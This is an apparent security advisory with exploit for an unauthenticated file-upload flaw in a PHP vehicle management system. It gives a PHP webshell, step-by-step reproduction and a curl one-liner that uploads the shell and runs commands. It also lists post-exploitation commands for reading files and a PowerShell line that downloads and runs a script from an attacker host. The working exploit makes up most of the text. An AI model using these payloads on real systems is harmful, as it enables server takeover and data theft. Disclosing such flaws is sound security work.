
Unauthenticated remote code execution exploit for Vehicle Management System in PHP via unrestricted file upload in newdriver.php and newvehicle.php, with PoC and detailed reproduction steps.
| Field | Details |
|---|
| Product | Vehicle Management System In PHP |
| Vendor | code-projects.org |
| Version | V1.0 |
| Vulnerability Type | Unrestricted File Upload leading to Remote Code Execution (CWE-434) |
| Files Affected | newdriver.php, newvehicle.php |
| Parameter | photo (POST, multipart/form-data) |
| Authentication Required | No (Unauthenticated) |
| CVSS Score | 10.0 Critical |
| Attack Vector | Remote / Network |
| Privileges Required | None |
| User Interaction | None |
The Vehicle Management System In PHP V1.0 by code-projects.org is vulnerable to unauthenticated Remote Code Execution via unrestricted file upload in newdriver.php (and identically in newvehicle.php).
The application exposes an admin-only "New Driver" registration form at newdriver.php that includes a photo upload field. However, the endpoint performs no session validation — any unauthenticated attacker can directly access it without being redirected to login. Furthermore, the photo upload field accepts any file type including PHP files, with no extension filtering, MIME type validation, or content inspection.
An attacker can:
newdriver.php without any session or credentials/picture/ directoryThis results in full Remote Code Execution with the privileges of the web server process.
Unauthenticated HTTP Request
↓
newdriver.php (no session check)
↓
photo field accepts .php file (no file type validation)
↓
Shell saved to /picture/web_shell.php
↓
GET /picture/web_shell.php?cmd=whoami
↓
RCE — arbitrary OS command execution
Open a fresh browser with no session (incognito/private window). Navigate directly to the endpoint:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php
The New Driver Form loads successfully with no authentication check and no redirect to login.

Create a simple PHP command execution webshell:
<?php system($_GET['cmd']); ?>
Save it as shell.php (or any .php filename).
Fill in the driver form fields with any values and select the PHP webshell as the photo upload:
Driver Name: test
Mobile: 1234567890
Driver Joining Date: 2026-05-19
National ID: test
License No: test
License End Date: 2026-05-30
Driver Address: test
Photo: shell.php ← PHP webshell uploaded here
Click Submit Query.


The application responds with "Registration Completed!" — confirming the PHP shell was accepted and saved with no validation.

Navigate to the uploaded shell in the /picture/ directory and pass OS commands via the cmd parameter:
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami
The server executes the command and returns the output:
desktop-g1i9np3\dell

# Read sensitive files
http://TARGET/.../picture/shell.php?cmd=type+C:\xampp\htdocs\VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\newdriver.php
# List web root
http://TARGET/.../picture/shell.php?cmd=dir+C:\xampp\htdocs\
# Full reverse shell via PowerShell
http://TARGET/.../picture/shell.php?cmd=powershell+-c+"IEX(New-Object+Net.WebClient).DownloadString('http://ATTACKER/shell.ps1')"
The identical vulnerability exists in newvehicle.php. An unauthenticated attacker can access the Add New Vehicle form, upload a PHP webshell via the vehicle photo field, and achieve RCE through the same method.
http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newvehicle.php
Both endpoints share the same root cause: no session validation and no file upload restrictions.
curl -s -X POST \
"http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/newdriver.php" \
-F "dname=test" \
-F "mobile=1234567890" \
-F "djoiningdate=2026-05-19" \
-F "nid=test" \
-F "licenseno=test" \
-F "licenseenddate=2026-05-30" \
-F "daddress=test" \
-F "[email protected];type=image/jpeg" \
&& echo "[+] Shell uploaded" \
&& curl -s "http://TARGET/VEHICLE_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/picture/shell.php?cmd=whoami"
newdriver.php and newvehicle.php both vulnerable| File | Upload Field | Shell Storage Path |
|---|---|---|
newdriver.php | photo | /picture/ |
newvehicle.php | photo | /picture/ |
Syed Imad Uddin Alvi (imad alvi)
Independent Security Researcher